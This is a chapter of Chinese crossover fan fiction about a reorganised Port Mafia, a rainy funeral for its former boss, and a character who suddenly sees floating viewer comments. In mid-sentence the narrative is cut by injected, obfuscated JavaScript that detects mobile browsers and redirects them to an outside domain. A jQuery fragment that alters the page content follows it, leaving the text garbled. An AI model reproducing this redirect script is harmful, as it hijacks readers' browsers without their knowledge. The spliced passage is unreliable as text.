三个月过去,期间每个人都体验了一把时刻紧绷、日夜不歇的苦日子——罗佳本人因此又发了几次高烧,把森鸥外折磨得几乎每时每刻劝他休息。 伊凡在杂志社请了半年的假;在此之前,默尔索偷偷传送到老板和几个主管家中威胁了一通,勒令他们不得把那天的闯入事件传播出去,也不能“随便辞退”优秀员工,算是补偿自己之前的冒失。 太宰治则喜欢在众人最忙的时候给人添乱,时时找不到人,在罗佳和伊凡的雷点上反复横跳,气得罗佳想用真斧头把他给劈裂;但看在他正经做任务效率还挺高,也就暂时放他一马。 虽说这一伙人都对经营一个黑手党组织没什么经验,但在炎峰干部的辅助下也总算有了样子,加上都是脑子好使人群,基本上一点就通,还能青出于蓝。 但所有人没想到的是,最麻烦的其实是默尔索。 当然,不是说他不够聪明,这家伙实际上清醒敏锐得可怕,什么都知道;但他的不懂又不像是装出来的,归根结底也是对什么都不太在乎—— 是的,我明白了。所以呢?有没有好处,有没有坏处,实际上都无所谓,我只是怕麻烦罢了——就是这种心理。 他这人,说实话没什么追求,放得太宽或逼得很紧都没什么用,因为你永远威胁不到他。 比如以下场景就经常发生。 默尔索来到首领办公室,对罗佳说:“我要辞职。” 罗佳皱着眉问他:“为什么?” 他答:“好累啊,好麻烦。我想想还是不要这些工资了,您让别人干吧。” 罗佳斩钉截铁地拒绝:“不行。我需要您,明白吗?现在港口Mafia百废待兴,我们需要强力的干部力量。您虽然经验不足,但这只是需要学习……总而言之,我不会同意的。” 默尔索完全不为所动:“那我可以自己走的。” “不行,您到哪儿我都会找到您、抓住您,那样您既没有钱用,还需要永远不停地逃来逃去。” 默尔索似乎是权衡了一番,最终说:“……好吧,随您喜欢吧。” 这就是妥协了。 森鸥外亲眼见识过默尔索反杀首领的的大场面,觉得尤其新奇,现在再次目睹诡异的对话现场,甚至起了一点研究兴趣。 “别为这类琐事发愁了,森医生。”戴着银面具的伊凡笑着警告,“我们还有外部矛盾需要解决,关于彭格列、本田组、瑞奇家族之间的关系,都已经弄清楚了吗?” 森鸥外并不想与他起冲突,顺从地开始了自己的报告: “彭格里目前还没有动作、正站在远处观望;不愧为大家族,的确定力惊人。但依他们之前的表现来看,应该是偏向与我们示好,特殊暗杀部队瓦利安甚至仍滞留在此地; 本田组则和瑞奇家族关系较为密切,之前那批被意外毁掉的可爆物,就是由本田组作为中介,卖给瑞奇家族的;瑞奇算是彭格列目前阶段一个较小的竞争者。” 这些情报伊凡实际上也早已知晓,许多东西早就能从细节中渗透出来。 不过,这些信息仍令他的大脑中出现一段记忆,现在想来还是恍若昨日:三个月前,港口黑手党前任首领的葬礼。 为了不落人话柄,那实际上是盛大又低调的一场葬礼,该邀请的人一个没落下;无奈告别仪式当日天空不作美,竟下起银针般细细密密的小雨。 即便是在室内,雨仍然令人心绪不宁;人们陆续来到,在这场名为葬礼实为审判庭的舞台上匆匆登场——好像一场戏剧。 有些人脸上带着虔诚的悲伤,这算是演技好的;也有些表情抑制不住的欣喜,这是懒得演的;当然,大多数是不动声色的观察和探究,不知是想看笑话还是评估合作伙伴。 待所有人到场后,罗佳作为继任者,声调平静地念了几句开场白,接着便坐回原位,看着宾客们一个个上前悼念。(因为不喜欢跪坐,他们选定的场所非常现代化,配有椅子) “彭格列没有来。”伊凡凑近他耳边轻轻说,“但是遣人提来了花篮和礼金。” “他们还在观望,并没有那么快;况且,我也不认为这种葬礼有什么值得他们来……” 除一些其他城市的小组织领袖外,本地的来得也不少。 佐藤组的首领是个很沉静的女性,名叫佐藤美咲。她与她的组织也是最早向他们示好的人,她在受邀出席的回信中写道: “鄙人看人很准——实话说吧,我不喜欢你们的前任首领,但我相信能和你们拥有愉快的合作经历。” 此外,日照、赤鬼组也分别有人前来吊唁。他们的反应不咸不淡,显然也是属于谨慎的一类。 “那个大叔的眼神好阴暗哦~”太宰治看向礼堂远处的一角,仍旧缠着他的绷带,姿势很散漫——他后来也不怎么戴面具,原因很简单,因为“太闷了”。(“说的好像缠绷带就不闷了一样,你单纯就是因为新鲜劲过了吧。”) 那一角站着一个中年人,眉眼比较深邃,但高耸的鹰钩鼻令他整个人显得阴暗又危险。 “Ricci(瑞奇)家族在横滨的代表,还记得那批爆|炸|物吗?”伊凡很轻得提醒道。 罗佳一顿,点了点头:“明白了,跟他们的关系越早断掉越好。” 森鸥外也加入谈话:“看见了吗?本田组的首领正在向他靠近,他们的关系不错,本田胜是他们最出名的中间人之一。” “还有还有,那个——是谁来着?……” 几人轻声讨论着,罗佳的精神一直紧绷,是时不时与太宰治说几句话。 而伊凡不愿继续,转而静静开始思索,脑海中有纷杂的文字闪过,是一些还不成形的诗句。 某一刻,他忽然微微仰头望向前方,指尖正无意识地握紧座椅扶手,指节泛白。 他的眼前突然窜出了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360517|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行字,源源不断,内容古怪,似乎只有他一人看得见: 【新的一集开头好棒】 【Yes】 【葬礼,下雨天,氛围感get】 【大家都好有破碎感】 【但他们实际根本不悲伤,只是在讨论对策吧……】 【伊凡嘿嘿嘿罗佳嘿嘿嘿,我要掀你们面具嘿嘿嘿……】 【嘿嘿嘿*10】 【逆天】 【不儿,大妹子,这还是中文吗……】 【我都快不认识‘嘿’这个字了…】 怎么回事?他微微皱眉。 马甲之下,K紧急呼唤系统,然而没等那“大愚弱智”一般的东西冒泡,更为机械的播报声已经响起,带着电流杂音: 【精神力阀值达到30%,马甲4是否投放……系统出错、出错……不投放……弹幕功能已强制解锁】 数量惊人的彩色弹幕突然在视野边缘炸开,伊凡的瞳孔剧烈收缩,全身轻微震颤了一下;极限之中,他堪堪控制住另两个马甲的动作。 这些不属于这个世界的文字如潮水般涌来,从更久远的时间直到现在十分拥挤,每个字符都带着可怕的温度,灼烧着他的太阳穴。 先是最早的弹幕: 【来了来了,沙发】 【时隔多年,联动大世界终于开播了】 【芜湖~期待已久,千万不要像之前一样烂尾啊】 【求别提了,我现在还记得之前的吃史经历……】 【这个画面!这个颜值!听说这次是新角色主角?群像?我爱群像】 【行了行了,开始了……】 …… 【靠,好黑……】 【等等,这个开头?】 【太劲爆了,开局一血】 【这是什么?斯拉夫美人,吃一口;这是什么?斯拉夫美人,吃一口……】 K感觉自己的脑子要爆炸了,几乎没法同时操纵3个马甲;现实中,另外两人没事,但只有眼前出现弹幕的伊凡,呼吸骤然急促,视线开始渐渐重叠。 【这叫只是同学?同学会这样干吗?】 【感觉到两人间诡异的氛围】 【路过,磕了】 【别这样吧,这不是低血糖吗,很正常的事……】 【他们俄罗斯人也有亲吻礼的吧?别见什么都磕啊】 【不是,怎么就不能磕了,俄罗斯人:我们不是我们没有,你别乱说,我们不会在同学生病的时候用嘴给他喂……】 【听之前说,伊凡好像有兄弟,又是二少爷,应该是把罗佳也当兄弟了吧?】 【不过有一说一,感觉他们之间真的有很多故事诶……】 【就这个爱恨纠缠爽!】 【+1】 …… 【靠,新角色,法国人?有点帅,吃一口】 【我打赌他一定有重要戏份】 【是彭格列左右手!还是十年后版本!我们有救啦】 弹幕继续如潮水般涌来,下一个画面似乎对应默尔索的经典场面: 【???】 【啊?啊?】 【不是?】 【死啦?老头子首领就这么水灵灵的没啦?】 【默尔索:嘻嘻。森鸥外:不嘻嘻】 【默尔索小哥我看错你了】 【总感觉有点瘆人……】 【但是好帅!好喜欢这种平静又天然呆的颠子】 他的意识开始坠落,坠落;最后,静静地在原地闭上眼。陷入黑暗之前,闪过的最后几条弹幕是: 【等等,这个特写好像不太对……】 【伊凡,我命中注定的二哥…】 【??不会吧?】 【他怎么了?之前好像有暗示,这个样子不会是……】 【怎么没人发现!!!】 【妈妈呀,是不是要虐了……】 ———————————————————